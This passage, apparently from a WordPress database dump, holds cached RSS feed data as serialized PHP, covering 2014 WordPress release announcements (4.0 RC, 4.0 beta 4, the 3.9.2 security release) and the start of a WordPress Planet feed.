href=\"https://profiles.wordpress.org/mikemanger\">Mike Manger</a>, <a href=\"https://profiles.wordpress.org/mnelson4\">Mike Nelson</a>, <a href=\"https://profiles.wordpress.org/dh-shredder\">Mike Schroder</a>, <a href=\"https://profiles.wordpress.org/mikeyarce\">Mikey Arce</a>, <a href=\"https://profiles.wordpress.org/dimadin\">Milan Dinic</a>, <a href=\"https://profiles.wordpress.org/morganestes\">Morgan Estes</a>, <a href=\"https://profiles.wordpress.org/usermrpapa\">Mr Papa</a>, <a href=\"https://profiles.wordpress.org/mrmist\">mrmist</a>, <a href=\"https://profiles.wordpress.org/m_uysl\">Mustafa Uysal</a>, <a href=\"https://profiles.wordpress.org/muvimotv\">MuViMoTV</a>, <a href=\"https://profiles.wordpress.org/nabil_kadimi\">nabil_kadimi</a>, <a href=\"https://profiles.wordpress.org/namibia\">Namibia</a>, <a href=\"https://profiles.wordpress.org/alex-ye\">Nashwan Doaqan</a>, <a href=\"https://profiles.wordpress.org/nd987\">nd987</a>, <a href=\"https://profiles.wordpress.org/neil_pie\">Neil Pie</a>, <a href=\"https://profiles.wordpress.org/niallkennedy\">Niall Kennedy</a>, <a href=\"https://profiles.wordpress.org/nbachiyski\">Nikolay Bachiyski</a>, <a href=\"https://profiles.wordpress.org/schoenwaldnils\">Nils Schonwald</a>, <a href=\"https://profiles.wordpress.org/ninos-ego\">Ninos</a>, <a href=\"https://profiles.wordpress.org/nvwd\">Nowell VanHoesen</a>, <a href=\"https://profiles.wordpress.org/compute\">Patrick Hesselberg</a>, <a href=\"https://profiles.wordpress.org/pbearne\">Paul Bearne</a>, <a href=\"https://profiles.wordpress.org/pdclark\">Paul Clark</a>, <a href=\"https://profiles.wordpress.org/paulschreiber\">Paul Schreiber</a>, <a href=\"https://profiles.wordpress.org/paulwilde\">Paul Wilde</a>, <a href=\"https://profiles.wordpress.org/pavelevap\">pavelevap</a>, <a href=\"https://profiles.wordpress.org/westi\">Peter Westwood</a>, <a href=\"https://profiles.wordpress.org/philiparthurmoore\">Philip Arthur Moore</a>, <a href=\"https://profiles.wordpress.org/philipjohn\">Philip John</a>, <a href=\"https://profiles.wordpress.org/senlin\">Piet Bos</a>, <a href=\"https://profiles.wordpress.org/psoluch\">Piotr Soluch</a>, <a href=\"https://profiles.wordpress.org/mordauk\">Pippin Williamson</a>, <a href=\"https://profiles.wordpress.org/purzlbaum\">purzlbaum</a>, <a href=\"https://profiles.wordpress.org/rachelbaker\">Rachel Baker</a>, <a href=\"https://profiles.wordpress.org/rclations\">RC Lations</a>, <a href=\"https://profiles.wordpress.org/iamfriendly\">Richard Tape</a>, <a href=\"https://profiles.wordpress.org/rickalee\">Ricky Lee Whittemore</a>, <a href=\"https://profiles.wordpress.org/rob1n\">rob1n</a>, <a href=\"https://profiles.wordpress.org/rdall\">Robert Dall</a>, <a href=\"https://profiles.wordpress.org/harmr\">RobertHarm</a>, <a href=\"https://profiles.wordpress.org/rohan013\">Rohan Rawat</a>, <a href=\"https://profiles.wordpress.org/rhurling\">Rouven Hurling</a>, <a href=\"https://profiles.wordpress.org/ruudjoyo\">Ruud Laan</a>, <a href=\"https://profiles.wordpress.org/ryan\">Ryan Boren</a>, <a href=\"https://profiles.wordpress.org/rmccue\">Ryan McCue</a>, <a href=\"https://profiles.wordpress.org/sammybeats\">Sam Brodie</a>, <a href=\"https://profiles.wordpress.org/otto42\">Samuel Wood (Otto)</a>, <a href=\"https://profiles.wordpress.org/sathishn\">Sathish Nagarajan</a>, <a href=\"https://profiles.wordpress.org/coffee2code\">Scott Reilly</a>, <a href=\"https://profiles.wordpress.org/wonderboymusic\">Scott Taylor</a>, <a href=\"https://profiles.wordpress.org/greglone\">ScreenfeedFr</a>, <a href=\"https://profiles.wordpress.org/scribu\">scribu</a>, <a href=\"https://profiles.wordpress.org/seanchayes\">Sean Hayes</a>, <a href=\"https://profiles.wordpress.org/nessworthy\">Sean Nessworthy</a>, <a href=\"https://profiles.wordpress.org/sergejmueller\">Sergej Muller</a>, <a href=\"https://profiles.wordpress.org/sergeybiryukov\">Sergey Biryukov</a>, <a href=\"https://profiles.wordpress.org/shanebp\">shanebp</a>, <a href=\"https://profiles.wordpress.org/sharonaustin\">Sharon Austin</a>, <a href=\"https://profiles.wordpress.org/shaunandrews\">Shaun Andrews</a>, <a href=\"https://profiles.wordpress.org/simonp303\">Simon Pollard</a>, <a href=\"https://profiles.wordpress.org/simonwheatley\">Simon Wheatley</a>, <a href=\"https://profiles.wordpress.org/slobodanmanic\">Slobodan Manic</a>, <a href=\"https://profiles.wordpress.org/solarissmoke\">solarissmoke</a>, <a href=\"https://profiles.wordpress.org/sphoid\">sphoid</a>, <a href=\"https://profiles.wordpress.org/netweb\">Stephen Edgar</a>, <a href=\"https://profiles.wordpress.org/stompweb\">Steven Jones</a>, <a href=\"https://profiles.wordpress.org/strangerstudios\">strangerstudios</a>, <a href=\"https://profiles.wordpress.org/5um17\">Sumit Singh</a>, <a href=\"https://profiles.wordpress.org/t4k1s\">t4k1s</a>, <a href=\"https://profiles.wordpress.org/iamtakashi\">Takashi Irie</a>, <a href=\"https://profiles.wordpress.org/taylorde\">Taylor Dewey</a>, <a href=\"https://profiles.wordpress.org/thomasvanderbeek\">Thomas van der Beek</a>, <a href=\"https://profiles.wordpress.org/tillkruess\">Till Kruss</a>, <a href=\"https://profiles.wordpress.org/codenameeli\">Tim &#039;Eli&#039; Dalbey</a>, <a href=\"https://profiles.wordpress.org/tmeister\">tmeister</a>, <a href=\"https://profiles.wordpress.org/tobiasbg\">TobiasBg</a>, <a href=\"https://profiles.wordpress.org/tjnowell\">Tom J Nowell</a>, <a href=\"https://profiles.wordpress.org/willmot\">Tom Willmot</a>, <a href=\"https://profiles.wordpress.org/topher1kenobe\">Topher</a>, <a href=\"https://profiles.wordpress.org/torresga\">torresga</a>, <a href=\"https://profiles.wordpress.org/liljimmi\">Tracy Levesque</a>, <a href=\"https://profiles.wordpress.org/wpsmith\">Travis Smith</a>, <a href=\"https://profiles.wordpress.org/treyhunner\">treyhunner</a>, <a href=\"https://profiles.wordpress.org/umeshsingla\">Umesh Kumar</a>, <a href=\"https://profiles.wordpress.org/vinod-dalvi\">Vinod Dalvi</a>, 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href=\"https://make.wordpress.org/core/\">core development blog</a>. Thanks for choosing WordPress. See you soon for version 4.1!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:46:\"https://wordpress.org/news/2014/09/benny/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"WordPress 4.0 Release Candidate\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"https://wordpress.org/news/2014/08/wordpress-4-0-release-candidate/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"https://wordpress.org/news/2014/08/wordpress-4-0-release-candidate/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 27 Aug 2014 12:20:37 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3287\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:321:\"The first release candidate for WordPress 4.0 is now available! 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Check out the <a href=\"https://wordpress.org/news/2014/07/wordpress-4-0-beta-1/\">Beta 1 announcement post</a> for more details on those features. We hope to ship WordPress 4.0 <em>next week</em>, but we need your help to get there. If you haven’t tested 4.0 yet, there’s no time like the present. (Please, not on a production site, unless you’re adventurous.)</p>\n<p><strong>Think you’ve found a bug? </strong>Please post to the <a href=\"https://wordpress.org/support/forum/alphabeta/\">Alpha/Beta area in the support forums</a>. If any known issues come up, you’ll be able to <a href=\"https://core.trac.wordpress.org/report/5\">find them here</a>.</p>\n<p>To test WordPress 4.0 RC1, try the <a href=\"https://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href=\"https://wordpress.org/wordpress-4.0-RC1.zip\">download the release candidate here</a> (zip). If you’d like to learn more about what’s new in WordPress 4.0, visit the awesome About screen in your dashboard (<strong><img src=\"https://i0.wp.com/core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png?w=692\" alt=\"\" width=\"16\" height=\"16\" /> → About</strong> in the toolbar).</p>\n<p><strong>Developers,</strong> please test your plugins and themes against WordPress 4.0 and update your plugin&#8217;s <em>Tested up to</em> version in the readme to 4.0 before next week. If you find compatibility problems, please be sure to post any issues to the support forums so we can figure those out before the final release. You also may want to <a href=\"https://make.wordpress.org/core/2014/08/21/introducing-plugin-icons-in-the-plugin-installer/\">give your plugin an icon</a>, which we launched last week and will appear in the dashboard along with banners.</p>\n<p><em>It is almost time</em><br />\n<em> For the 4.0 release</em><br />\n<em> And its awesomeness</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"https://wordpress.org/news/2014/08/wordpress-4-0-release-candidate/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"WordPress 4.0 Beta 4\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://wordpress.org/news/2014/08/wordpress-4-0-beta-4/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:65:\"https://wordpress.org/news/2014/08/wordpress-4-0-beta-4/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 15 Aug 2014 05:06:19 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3280\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:353:\"The fourth and likely final beta for WordPress 4.0 is now available. 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We&#8217;ve made <a href=\"https://core.trac.wordpress.org/log?rev=29496&amp;stop_rev=29229&amp;limit=300\">more than 250 changes</a> in the past month, including:</p>\n<ul>\n<li>Further improvements to the editor scrolling experience, especially when it comes to the second column of boxes.</li>\n<li>Better handling of small screens in the media library modals.</li>\n<li>A separate bulk selection mode for the media library grid view.</li>\n<li>Improvements to the installation language selector.</li>\n<li>Visual tweaks to plugin details and customizer panels.</li>\n</ul>\n<p><strong>We need your help</strong>. We’re still aiming for a release this month, which means the next week will be critical for identifying and squashing bugs. If you’re just joining us, please see <a href=\"https://wordpress.org/news/2014/07/wordpress-4-0-beta-1/\">the Beta 1 announcement post</a> for what to look out for.</p>\n<p><strong>If you think you’ve found a bug</strong>, you can post to the <a href=\"https://wordpress.org/support/forum/alphabeta\">Alpha/Beta area</a> in the support forums, where friendly moderators are standing by. <b>Plugin developers</b><strong>,</strong> if you haven’t tested WordPress 4.0 yet, now is the time — and be sure to update the “tested up to” version for your plugins so they’re listed as compatible with 4.0.</p>\n<p><strong>This software is still in development,</strong> so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.0, try the <a href=\"https://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href=\"https://wordpress.org/wordpress-4.0-beta4.zip\">download the beta here</a> (zip).</p>\n<p><em>We are working hard</em><br />\n<em>To finish up 4.0<br />\n</em><em>Will you help us too?</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"https://wordpress.org/news/2014/08/wordpress-4-0-beta-4/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"WordPress 3.9.2 Security Release\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"https://wordpress.org/news/2014/08/wordpress-3-9-2/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"https://wordpress.org/news/2014/08/wordpress-3-9-2/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 06 Aug 2014 19:04:27 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Security\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3269\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:377:\"WordPress 3.9.2 is now available as a security release for all previous versions. We strongly encourage you to update your sites immediately. This release fixes a possible denial of service issue in PHP&#8217;s XML processing, reported by Nir Goldshlager of the Salesforce.com Product Security Team. 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It  was fixed by Michael Adams and Andrew Nacin of the WordPress security team and David Rothstein of the <a href=\"https://www.drupal.org/SA-CORE-2014-004\">Drupal security team</a>. This is the first time our two projects have coordinated joint security releases.</p>\n<p>WordPress 3.9.2 also contains other security changes:</p>\n<ul>\n<li>Fixes a possible but unlikely code execution when processing widgets (WordPress is not affected by default), discovered by <a href=\"http://www.buayacorp.com/\">Alex Concha</a> of the WordPress security team.</li>\n<li>Prevents information disclosure via XML entity attacks in the external GetID3 library, reported by <a href=\"http://onsec.ru/en/\">Ivan Novikov</a> of ONSec.</li>\n<li>Adds protections against brute attacks against CSRF tokens, reported by <a href=\"http://systemoverlord.com/\">David Tomaschik</a> of the Google Security Team.</li>\n<li>Contains some additional security hardening, like preventing cross-site scripting that could be triggered only by administrators.</li>\n</ul>\n<p>We appreciated responsible disclosure of these issues directly to our security team. For more information, see the <a href=\"https://codex.wordpress.org/Version_3.9.2\">release notes</a> or consult the <a href=\"https://core.trac.wordpress.org/log/branches/3.9?stop_rev=29383&amp;rev=29411\">list of changes</a>.</p>\n<p><a href=\"https://wordpress.org/download/\">Download WordPress 3.9.2</a> or venture over to <strong>Dashboard → Updates</strong> and simply click &#8220;Update Now&#8221;.</p>\n<p>Sites that support automatic background updates will be updated to WordPress 3.9.2 within 12 hours. (If you are still on WordPress 3.8.3 or 3.7.3, you will also be updated to 3.8.4 or 3.7.4. We don&#8217;t support older versions, so please update to 3.9.2 for the latest and greatest.)</p>\n<p>Already testing WordPress 4.0? The third beta is <a href=\"https://wordpress.org/wordpress-4.0-beta3.zip\">now available</a> (zip) and it contains these security fixes.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://wordpress.org/news/2014/08/wordpress-3-9-2/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}s:27:\"http://www.w3.org/2005/Atom\";a:1:{s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:0:\"\";s:7:\"attribs\";a:1:{s:0:\"\";a:3:{s:4:\"href\";s:32:\"https://wordpress.org/news/feed/\";s:3:\"rel\";s:4:\"self\";s:4:\"type\";s:19:\"application/rss+xml\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:44:\"http://purl.org/rss/1.0/modules/syndication/\";a:2:{s:12:\"updatePeriod\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"hourly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:15:\"updateFrequency\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:9:{s:6:\"server\";s:5:\"nginx\";s:4:\"date\";s:29:\"Tue, 17 Feb 2015 23:50:32 GMT\";s:12:\"content-type\";s:23:\"text/xml; charset=UTF-8\";s:10:\"connection\";s:5:\"close\";s:4:\"vary\";s:15:\"Accept-Encoding\";s:10:\"x-pingback\";s:37:\"https://wordpress.org/news/xmlrpc.php\";s:13:\"last-modified\";s:29:\"Thu, 18 Dec 2014 18:57:51 GMT\";s:15:\"x-frame-options\";s:10:\"SAMEORIGIN\";s:4:\"x-nc\";s:11:\"HIT lax 250\";}s:5:\"build\";s:14:\"20130911090210\";}','no'),(125,'_transient_timeout_feed_867bd5c64f85878d03a060509cd2f92c','1424069331','no'),(126,'_transient_feed_867bd5c64f85878d03a060509cd2f92c','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:3:\"\n\n\n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:61:\"\n	\n	\n	\n	\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"WordPress Planet\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://planet.wordpress.org/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"language\";a:1:{i:0;a:5:{s:4:\"data\";s:2:\"en\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"WordPress Planet - http://planet.wordpress.org/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"item\";a:50:{i:0;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Ex Girlfriend Meeting\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44667\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/ex-girlfriend-meeting/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:350:\"<p>Since it&#8217;s Valentine&#8217;s day, here&#8217;s a little humor from the New Yorker&#8217;s Hallie Cantor: <a href=\"http://www.newyorker.com/humor/daily-shouts/imagine-boyfriends-ex-girlfriends-right-now\">What I Imagine My Boyfriend’s Ex-Girlfriends Are Doing Right Now</a>. (That the character is named Matt is completely coincidental.)</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 14 Feb 2015 18:20:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Mayer WordPress Theme is Now Open Source on GitHub\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38975\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/mayer-wordpress-theme-is-now-open-source-on-github\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5274:\"<p>Tom McFarlin released his <a href=\"https://github.com/pressware/mayer\" target=\"_blank\">Mayer WordPress theme on GitHub</a> today. The theme was designed with writers, bloggers, and authors in mind and was previously only <a href=\"https://theme.wordpress.com/themes/mayer/\" target=\"_blank\">available to WordPress.com users for $79</a>.</p>\n<p>Mayer is unique in that it was created to get users writing immediately, without having a bunch settings pages or additional widgets to configure. Content in the post editor is styled to match the front end, so users don&#8217;t need to leave 